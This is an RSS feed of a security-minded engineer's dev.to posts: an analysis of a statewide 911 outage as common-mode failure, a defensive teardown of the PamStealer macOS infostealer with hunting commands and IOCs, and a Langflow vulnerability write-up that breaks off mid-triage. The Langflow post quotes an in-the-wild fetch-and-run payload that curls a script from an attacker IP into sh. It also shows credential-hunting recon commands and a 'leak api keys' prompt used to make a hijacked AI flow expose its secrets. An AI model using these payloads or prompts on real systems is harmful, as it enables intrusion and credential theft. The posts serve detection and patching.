<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kerry Kier</title>
    <description>The latest articles on DEV Community by Kerry Kier (@kkierii).</description>
    <link>https://dev.to/kkierii</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3898039%2F5b6ac48d-d0f2-43a7-8510-7e8699d80c09.png</url>
      <title>DEV Community: Kerry Kier</title>
      <link>https://dev.to/kkierii</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kkierii"/>
    <language>en</language>
    <item>
      <title>Four Instances, Two Data Centers, One Bug: When Redundancy Isn't Independence</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Wed, 15 Jul 2026 17:10:44 +0000</pubDate>
      <link>https://dev.to/kkierii/four-instances-two-data-centers-one-bug-when-redundancy-isnt-independence-3dl8</link>
      <guid>https://dev.to/kkierii/four-instances-two-data-centers-one-bug-when-redundancy-isnt-independence-3dl8</guid>
      <description>&lt;p&gt;Four instances of the core service. Two physically separate data centers. And a single operating-system defect degraded the whole thing across an entire state anyway.&lt;/p&gt;

&lt;p&gt;That's the one-line version of Pennsylvania's statewide Next-Generation 911 (NG911) disruption last July, and if it doesn't make you a little uneasy about your own "highly available" setup, it should. This is the failure mode that redundancy diagrams are quietly built to ignore, and it has a name: common-mode failure.&lt;/p&gt;

&lt;p&gt;No attacker. State officials traced it to "a defect in an operating system" and said it was "not believed to be" a cyberattack. Just a bug -- in a component the redundant copies apparently shared.&lt;/p&gt;

&lt;p&gt;Here's what happened, why four copies didn't save it, and then the part you can actually use: how to check whether your own redundancy is independent or just replicated.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;When someone dials 911 on a modern system, the call doesn't go straight to the local center. It hits Next Generation Core Services (NGCS) -- the components that ingest the call plus whatever location data the originating network provides, resolve the location, and route to the correct PSAP (Public Safety Answering Point, i.e. the 911 center). Pennsylvania runs four NGCS instances across two data centers, operated by a single vendor under a statewide contract.&lt;/p&gt;

&lt;p&gt;On July 11, around 2:00 p.m., calls started failing intermittently: dropped connections, calls arriving with no ANI/ALI (callback number / location), long quiet gaps then bursts. Roughly 85 minutes in, the state pushed a Wireless Emergency Alert telling people to use county non-emergency lines. A majority of calls kept getting through, and no statewide failure count was ever published. Restored around midnight.&lt;/p&gt;

&lt;p&gt;Eleven days later: "a defect in an operating system," not a cyberattack. No component named, no trigger confirmed. (The trigger is genuinely muddy, worth flagging: on day one officials said it wasn't a pushed update; later reporting attributed to the same agency said a routine vendor update triggered the defect. The public record never reconciled the two.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Why four copies didn't help
&lt;/h2&gt;

&lt;p&gt;The mental model: redundancy gives you availability only when the redundant units fail &lt;em&gt;independently&lt;/em&gt;. Four instances behind a load balancer protect you against one box dying, one rack losing power, one data center flooding -- uncorrelated, mostly physical failures.&lt;/p&gt;

&lt;p&gt;They do almost nothing against a fault in something all four &lt;em&gt;share&lt;/em&gt;: the same OS build, the same config, the same dependency, the same change pushed to all of them in the same window. When the failure is in the shared layer, "four instances" just means the flaw is present in four places. That's a common-mode failure -- correlated failure across supposedly independent units because they have a common cause.&lt;/p&gt;

&lt;p&gt;NIST SP 800-160 says it plainly: redundancy is susceptible to common-mode failure, and the mitigation it points to is &lt;em&gt;diversity&lt;/em&gt; -- making the copies genuinely different -- not simply more identical copies.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A second data center survives losing a place. It does not, by itself, survive losing a piece of logic that every place is running.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Careful about what's proven: the public record doesn't establish an identical defect on every node. A shared config, a shared update path, or a synchronization/backpressure mechanism could produce the same correlated result. Doesn't change the lesson. If the failure domains aren't independent, the instance count is close to irrelevant.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part you can use: is your redundancy actually independent?
&lt;/h2&gt;

&lt;p&gt;Stop counting instances and start looking for shared fate. A starting triage for your own stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1) Version parity -- if every "redundant" node runs the identical build,&lt;/span&gt;
&lt;span class="c"&gt;#    a bad build is a common-mode event, not an isolated one.&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="k"&gt;in &lt;/span&gt;core-a core-b core-c core-d&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;: "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ssh &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s1"&gt;'cat /etc/app/VERSION'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# All four identical? Then a bad release has a blast radius of "everything."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 2) Shared config origin -- one bad template/secret/flag hits all of them.&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="k"&gt;in &lt;/span&gt;core-a core-b core-c core-d&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;: "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ssh &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s1"&gt;'sha256sum /etc/app/config.yaml'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Same hash everywhere = same fate when that config is wrong.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The parts a diff won't answer, and that matter more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Change-pipeline questions:
- Does one deploy push the same artifact to every instance at once,
  or is the rollout staggered / canaried / ringed?
- Is rollback per-instance, or all-or-nothing?
- Does a config or feature-flag change apply everywhere in one shot?
- Do all instances share one upstream (same DB, DNS, auth service,
  control plane)?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the honest answers are "same build, same config source, one-shot deploy, shared control plane," you don't have four independent systems. You have one system with a replication factor of four: great for load, close to worthless for the failure that matters here. The fix isn't more copies. It's independence -- staggered rollouts, canaries, config diversity, an instance or a data center deliberately kept a version behind, so a bad change can't take all of them in the same instant.&lt;/p&gt;

&lt;h2&gt;
  
  
  The operational and contract translation
&lt;/h2&gt;

&lt;p&gt;A few things fall out of this that aren't code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Runbooks and escalation.&lt;/strong&gt; The failure was intermittent, which is the nasty kind, because you can't see the requests you're not getting. On the 911 side that's calls; on yours it's whatever your users silently can't complete. Intermittent upstream degradation hides in normal variance until someone connects the dots, so the win is a fast, no-blame path for whoever's on point to say "something upstream is wrong, escalating" before they're certain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ownership boundary.&lt;/strong&gt; Pennsylvania's 911 plan draws the vendor's security responsibility at the demarcation equipment at each center; past that line it's a mix of local ownership. Know where your vendor's responsibility ends and yours begins &lt;em&gt;before&lt;/em&gt; an incident, because "whose problem is this" is the most expensive question to answer live.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Notification SLAs.&lt;/strong&gt; If you run or buy anything life-safety-adjacent, know the floor. As of April 15, 2025, FCC rules require covered 911 and originating providers to notify affected PSAPs as soon as possible and no later than 30 minutes after discovering a 911-affecting outage, with material updates as they develop (originating providers owe a first follow-up within two hours). APCO argued for fifteen. Your contract can demand more than the regulatory minimum -- put the disclosure timeline in it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The transparency gap
&lt;/h2&gt;

&lt;p&gt;Months on, the only public technical explanation is still "a defect in an operating system." A fuller root-cause analysis exists -- the vendor presented a summary to the state's 911 Advisory Board in September 2025 -- but the substance isn't public, even though the same vendor runs statewide 911 cores in eight other states with a direct interest in knowing whether they're exposed. For a life-safety system, "we found a bug and fixed it" is a thin postmortem, and the opacity is the thing that keeps everyone else from learning.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Redundancy buys availability only across &lt;em&gt;independent&lt;/em&gt; failure domains. Shared build / config / pipeline / dependency = shared fate, regardless of instance count.&lt;/li&gt;
&lt;li&gt;Audit your blast radius: version parity, config origin, rollout strategy, shared upstreams. If one bad change can hit everything at once, that's your common-mode exposure.&lt;/li&gt;
&lt;li&gt;Diversity (staggered versions, canaries, ringed config) is the mitigation NIST actually points to, not more identical copies.&lt;/li&gt;
&lt;li&gt;Intermittent degradation is operationally worse than a clean outage. Build the "escalate before you're sure" path.&lt;/li&gt;
&lt;li&gt;Put incident-disclosure timelines in the contract. The regulatory floor is a floor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You don't need an attacker to lose a critical system. You need one flaw in a shared component and a redundancy model that assumed an independence it never had.&lt;/p&gt;

&lt;p&gt;How do you keep your "redundant" instances from sharing fate -- deliberate version skew, ringed deploys, something else? Curious what's actually working in production.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>architecture</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Have you ever had a problem reported to you and you are like "I know exactly what to do" then go over, do the task, and now it doesn't. Fast forward 2 hours when you thought it was going to be a simple fix and even Fable or Sol can figure out what's wrong.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 11 Jul 2026 14:20:08 +0000</pubDate>
      <link>https://dev.to/kkierii/have-you-ever-had-a-problem-reported-to-you-and-you-are-like-i-know-exactly-what-to-do-then-go-p19</link>
      <guid>https://dev.to/kkierii/have-you-ever-had-a-problem-reported-to-you-and-you-are-like-i-know-exactly-what-to-do-then-go-p19</guid>
      <description></description>
      <category>debugging</category>
      <category>discuss</category>
      <category>programming</category>
      <category>watercooler</category>
    </item>
    <item>
      <title>Not a developer – systems engineer, proud of it. Huge respect to devs. Vibe coding for months, and it’s tiring. I don’t wing it: hours with Claude fleshing out the foundation, then have it write the exact prompt. Wrong way maybe. How do you do it?</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 07 Jul 2026 17:37:42 +0000</pubDate>
      <link>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-5afh</link>
      <guid>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-5afh</guid>
      <description></description>
      <category>ai</category>
      <category>claude</category>
      <category>coding</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Not a developer – systems engineer, proud of it. Huge respect to devs. Vibe coding for months, and it’s tiring. I don’t wing it: hours with Claude fleshing out the foundation, then have it write the exact prompt. Wrong way maybe. How do you do it?</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 07 Jul 2026 16:38:59 +0000</pubDate>
      <link>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-394n</link>
      <guid>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-394n</guid>
      <description></description>
      <category>ai</category>
      <category>claude</category>
      <category>coding</category>
      <category>discuss</category>
    </item>
    <item>
      <title>PamStealer: the macOS stealer that checks your password through PAM before stealing it</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Thu, 02 Jul 2026 22:09:52 +0000</pubDate>
      <link>https://dev.to/kkierii/pamstealer-the-macos-stealer-that-checks-your-password-through-pam-before-stealing-it-4abj</link>
      <guid>https://dev.to/kkierii/pamstealer-the-macos-stealer-that-checks-your-password-through-pam-before-stealing-it-4abj</guid>
      <description>&lt;p&gt;Someone double-clicks what they think is Maccy, a clipboard manager, and gets a macOS password prompt: "Maccy wants to make changes." They type it in. Most infostealers would grab whatever you typed and run. This one validates it against PAM first -- the same Pluggable Authentication Modules stack macOS uses to actually authenticate you -- and only keeps it if it's real.&lt;/p&gt;

&lt;p&gt;That's PamStealer (Jamf's name; ManageEngine tracks the same campaign as "Fake Maccy Stealer"). Two stages, and the interesting part for practitioners isn't that it exists -- it's how deliberately it routes around the process-based signals most macOS detection keys on. It's quieter than the commodity norm in the places that matter, and loud in a couple of places it can't avoid. Here's the chain, then how to hunt it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 1: the dropper mostly doesn't shell out
&lt;/h2&gt;

&lt;p&gt;Delivery is the usual macOS pattern with a twist. A compiled AppleScript, &lt;code&gt;Maccy.scpt&lt;/code&gt;, ships on a disk image from a lookalike domain (&lt;code&gt;maccyapp[.]com&lt;/code&gt;) and opens in Script Editor. Inside is an obfuscated JXA (JavaScript for Automation) payload that does the download.&lt;/p&gt;

&lt;p&gt;The twist: it doesn't call &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;zsh&lt;/code&gt;. It fetches and stages through &lt;code&gt;NSURLSession&lt;/code&gt; and the Objective-C bridge -- native APIs, no shell subprocess for the network stage. That kills the process-spawn signal a lot of behavioral rules lean on.&lt;/p&gt;

&lt;p&gt;It is not processless, though, and that's what the first wave of coverage got wrong. Before launch it ad-hoc signs the staged bundle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;codesign &lt;span class="nt"&gt;-fs&lt;/span&gt; - &lt;span class="nt"&gt;--deep&lt;/span&gt; /path/to/staged.app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a &lt;code&gt;codesign&lt;/code&gt; process spawned by Script Editor against a bundle in Application Support -- a detection opportunity both teardowns flag. It also drops a &lt;code&gt;.Maccy&lt;/code&gt; marker file and launches hidden, no window, no Dock.&lt;/p&gt;

&lt;p&gt;The config is gated. The dropper derives a key from a host fingerprint -- CPU architecture, locale, keyboard layout, time zone -- and the encrypted config only unlocks on a matching machine. ManageEngine notes those checks double as a CIS geo-fence: it aborts on hosts that look Russian or post-Soviet. Names and config values rotate sample-to-sample while behavior holds constant, which reads as an automated builder.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 2: Rust, a runtime-loaded framework, and a pbpaste loop
&lt;/h2&gt;

&lt;p&gt;The payload is a stripped, arm64-native Mach-O in Rust -- uncommon in a stealer scene Jamf notes is dominated by Swift, Go, and Objective-C. Most strings decode at runtime, so static triage gets you the linked libraries and the ObjC selectors and not much else.&lt;/p&gt;

&lt;p&gt;The evasion move worth internalizing: instead of linking &lt;code&gt;Security.framework&lt;/code&gt;, it loads it at runtime. Its keychain-access capability never lands in the static import table. If your triage leans on the load commands, you won't see it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;otool &lt;span class="nt"&gt;-L&lt;/span&gt; /path/to/suspect.bin   &lt;span class="c"&gt;# Security.framework won't be listed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It bundles its own SQLite and reads browser credential, cookie, and wallet-extension DBs as files directly. Exfil is encrypted with ChaCha20-Poly1305, so the traffic resists inspection even though the &lt;code&gt;.config&lt;/code&gt; it drops holds the C2 URL in cleartext.&lt;/p&gt;

&lt;p&gt;Then it gets loud. Running as a fake Finder, Jamf's sample read the clipboard by spawning &lt;code&gt;pbpaste&lt;/code&gt; on a loop -- every 10-30 seconds, for the whole run. A process posing as Finder, out of Application Support, shelling out to &lt;code&gt;pbpaste&lt;/code&gt; every few seconds is about the loudest signature in the chain. Caveat: ManageEngine's variant did the same theft in-process via &lt;code&gt;NSPasteboard&lt;/code&gt; with no subprocess, so the &lt;code&gt;pbpaste&lt;/code&gt; noise is Jamf's sample, not guaranteed campaign-wide.&lt;/p&gt;

&lt;h2&gt;
  
  
  The password: PAM instead of dscl
&lt;/h2&gt;

&lt;p&gt;The namesake behavior. It shows an &lt;code&gt;NSAlert&lt;/code&gt; with a secure text field, styled like a system authorization prompt ("Maccy wants to make changes," account name pre-filled), and validates what you type through the PAM API (&lt;code&gt;pam_start&lt;/code&gt; / &lt;code&gt;pam_authenticate&lt;/code&gt; / &lt;code&gt;pam_end&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Why it matters for detection: other commodity stealers confirm a captured password by shelling out. MacSync uses &lt;code&gt;dscl&lt;/code&gt;. That's a spawned process you can catch. A PAM check runs in-process and spawns nothing -- one less chain in the tree.&lt;/p&gt;

&lt;p&gt;Get it wrong, it re-prompts. Get it right, it shows a decoy -- "'Maccy' is damaged and can't be opened. You should move it to the Trash" -- so you trash the lure and assume a bad download while it's already persistent.&lt;/p&gt;

&lt;p&gt;Persistence is via login items, modern and legacy (&lt;code&gt;SMAppService&lt;/code&gt; and &lt;code&gt;LSSharedFileList&lt;/code&gt;), and it deliberately avoids the LaunchAgents/LaunchDaemons where detection coverage is densest. It masquerades as Finder with the genuine icon and delays its Full Disk Access request -- made under the Finder disguise -- by up to 40 minutes so the prompt doesn't correlate with launch.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Ethereum bit (Jamf only, purpose open)
&lt;/h2&gt;

&lt;p&gt;Jamf decrypted the server config (&lt;code&gt;avenger-config-v2&lt;/code&gt;) and found two public Ethereum JSON-RPC endpoints, then caught the fake-Finder process connecting to one. They didn't capture the calls, so the purpose stays open -- resilient dead-drop or wallet recon. ManageEngine doesn't mention it. Flagging it as single-source so you don't repeat it as settled.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hunting it: the artifacts that survive
&lt;/h2&gt;

&lt;p&gt;Quieter is not invisible. The native routing dodges shell-watching rules; it doesn't beat behavioral EDR or on-disk IOCs.&lt;/p&gt;

&lt;p&gt;Dump the Background Task Management store and look for a Finder or Software Update login item running from a user path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;sfltool dumpbtm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check for a "Finder" that isn't Finder. The real one runs from &lt;code&gt;/System/Library/CoreServices/Finder.app&lt;/code&gt;; anything else named Finder is suspect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pgrep &lt;span class="nt"&gt;-lf&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; finder   &lt;span class="c"&gt;# flag any path outside /System/Library/CoreServices/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inspect the signature. The staged bundle carries an ad-hoc &lt;code&gt;-&lt;/code&gt; identity, not a Developer ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;codesign &lt;span class="nt"&gt;-dv&lt;/span&gt; &lt;span class="nt"&gt;--verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 /path/to/suspect.app 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Ei&lt;/span&gt; &lt;span class="s1"&gt;'Signature|Authority|TeamIdentifier'&lt;/span&gt;
&lt;span class="c"&gt;# ad-hoc shows "Signature=adhoc", with no Authority and no TeamIdentifier&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Behavioral rules for Endpoint Security / your EDR:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Script Editor spawning &lt;code&gt;codesign&lt;/code&gt; against a bundle in &lt;code&gt;~/Library/Application Support/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A process named Finder, running outside &lt;code&gt;/System/Library/CoreServices/&lt;/code&gt;, spawning &lt;code&gt;pbpaste&lt;/code&gt; or reading a Chromium credential DB&lt;/li&gt;
&lt;li&gt;Login-item registration for a Finder or Software Update bundle in a user directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On-disk / network IOCs from the two teardowns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lure domain: &lt;code&gt;maccyapp[.]com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;C2: &lt;code&gt;avenger-sync[.]live&lt;/code&gt; (Jamf), &lt;code&gt;avengerflow[.]com&lt;/code&gt; (ManageEngine) -- rotated per sample&lt;/li&gt;
&lt;li&gt;Bundle IDs: &lt;code&gt;com.apple.finder.core&lt;/code&gt;, &lt;code&gt;com.apple.finder.monitor&lt;/code&gt;, &lt;code&gt;com.apple.security.daemon&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Caches: &lt;code&gt;~/Library/Caches/com.apple.finder.core/&lt;/code&gt;, &lt;code&gt;~/Library/HTTPStorages/com.apple.finder.core/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Markers: &lt;code&gt;.Maccy&lt;/code&gt;, &lt;code&gt;.lock&lt;/code&gt;, &lt;code&gt;.config&lt;/code&gt; (C2 URL in cleartext)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Full hashes and the complete IOC set are in the Jamf and ManageEngine writeups.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sourcing, and one divergence to hold
&lt;/h2&gt;

&lt;p&gt;The deep internals -- the validate-your-password-through-PAM workflow the name is built on, the &lt;code&gt;avenger-config-v2&lt;/code&gt; server response, the 40-minute FDA delay -- are Jamf's. ManageEngine independently analyzed the same campaign and corroborates the chain, but frames PAM differently: as &lt;code&gt;libpam&lt;/code&gt; linkage the binary could use to intercept &lt;code&gt;sudo&lt;/code&gt; and system-auth responses, not the validate-before-steal workflow. Both saw PAM; they emphasize different uses. If someone asks, the validate-before-steal account is Jamf's specifically.&lt;/p&gt;

&lt;p&gt;The part that generalizes past this one sample: this is commodity malware (ManageEngine ties it to a malware-as-a-service pattern) that went quiet by going native -- PAM instead of &lt;code&gt;dscl&lt;/code&gt;, a runtime-loaded framework instead of a linked one, login items instead of LaunchAgents. If your macOS detection assumes the malware will announce itself by spawning &lt;code&gt;curl&lt;/code&gt;, this is the case for pointing it at framework loads, &lt;code&gt;codesign&lt;/code&gt; lineage, and Finder-shaped processes doing things Finder doesn't do.&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>devops</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>How a Single Unauthenticated POST Turns Langflow Into a Public Python Shell</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Wed, 01 Jul 2026 22:31:08 +0000</pubDate>
      <link>https://dev.to/kkierii/how-a-single-unauthenticated-post-turns-langflow-into-a-public-python-shell-bld</link>
      <guid>https://dev.to/kkierii/how-a-single-unauthenticated-post-turns-langflow-into-a-public-python-shell-bld</guid>
      <description>&lt;p&gt;One unauthenticated POST to a Langflow endpoint gets you arbitrary Python execution on the host. No credentials, no proof-of-concept required -- attackers built a working exploit straight from the advisory text and were in the wild within 20 hours. If you run Langflow, LangChain, or LangGraph anywhere, that is the shape of your attack surface now, and the blast radius is every API key those frameworks are holding.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2026-33017: unauthenticated RCE via the public flow endpoint
&lt;/h2&gt;

&lt;p&gt;Langflow exposes an endpoint whose whole job is to build "public flows," so it is intentionally unauthenticated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/v1/build_public_tmp/{flow_id}/flow
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In every release before 1.9.0, it accepted attacker-supplied flow data -- Python embedded in the node definitions -- and passed it straight to &lt;code&gt;exec()&lt;/code&gt; with no sandbox:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is CWE-306 (missing authentication) on top of CWE-94 (code injection). One request, no credentials, arbitrary code on the host. CISA added it to the Known Exploited Vulnerabilities catalog on March 25 with an April 8 federal deadline, and Sysdig's honeypots logged exploitation roughly 20 hours after the March 17 advisory -- before any public PoC existed.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2026-5027: path traversal -&amp;gt; arbitrary file write -&amp;gt; shell
&lt;/h2&gt;

&lt;p&gt;Different door, same host. The file-upload endpoint never sanitized the filename:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/v2/files
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pack traversal sequences into the filename and you write a file to an arbitrary location. Drop one into &lt;code&gt;/etc/cron.d&lt;/code&gt; where permissions allow, and the next cron run is a shell. The CVSS vector formally requires low privileges -- but Langflow ships with auto-login enabled by default, which hands an exposed instance a valid session token on request, so on the deployments that got hit the credential barrier was cosmetic. Tenable disclosed it March 27; in-the-wild exploitation showed up in June. The fix landed in &lt;code&gt;langflow-base&lt;/code&gt; 0.8.3 and Langflow 1.9.0.&lt;/p&gt;

&lt;p&gt;One caveat that matters for your patch plan: JFrog empirically tested 1.8.2 -- widely reported as fixed -- and found it still exploitable. Verify the fix in whatever version you land on. Do not trust the changelog.&lt;/p&gt;

&lt;h2&gt;
  
  
  The blast radius is your keys, not your CPU
&lt;/h2&gt;

&lt;p&gt;Here is why this class is worse than a normal RCE. An orchestration framework is a credential concentrator: flows embed provider keys, cloud credentials, and database strings directly in their component configs, because that is how a flow talks to OpenAI or Anthropic or your database. So the recon you see in the honeypot data goes straight for the environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;env
&lt;/span&gt;find /app &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.db"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.env"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code execution does not win the attacker your compute. It wins them the pile of keys in the environment, and those keys are liquid. In a later Langflow incident, Sysdig watched an operator hijack a flow and feed it the prompt &lt;code&gt;leak api keys&lt;/code&gt;, coaxing a flow that ran with its own embedded credentials into surfacing them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern is bigger than Langflow
&lt;/h2&gt;

&lt;p&gt;LangChain-core has a path traversal in its legacy prompt-loading API that can read local config and secret-bearing files off disk, depending on file type and deployment. LangGraph carries an insecure-deserialization chain in its SQLite and Redis checkpoint stores that Check Point walked from SQL injection to code execution in self-hosted deployments; managed LangSmith was not affected. Neither has confirmed in-the-wild exploitation yet, and Check Point ships working PoC, so "yet" is doing real work.&lt;/p&gt;

&lt;p&gt;These are the same bug classes -- injection, traversal, deserialization -- we have written for decades. What is new is where they live: three layers down in a framework your application code imports. Your WAF never inspects the deserializer, and your EDR waves through the process calls the agent server makes a thousand times a day. As former AWS deputy CISO Merritt Baer put it, when this lands "it will feel like your traditional security program failing" rather than an AI problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Triage: are you exposed, and were you hit?
&lt;/h2&gt;

&lt;p&gt;Check what you are actually running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip show langflow          &lt;span class="c"&gt;# or inspect your container image tag&lt;/span&gt;
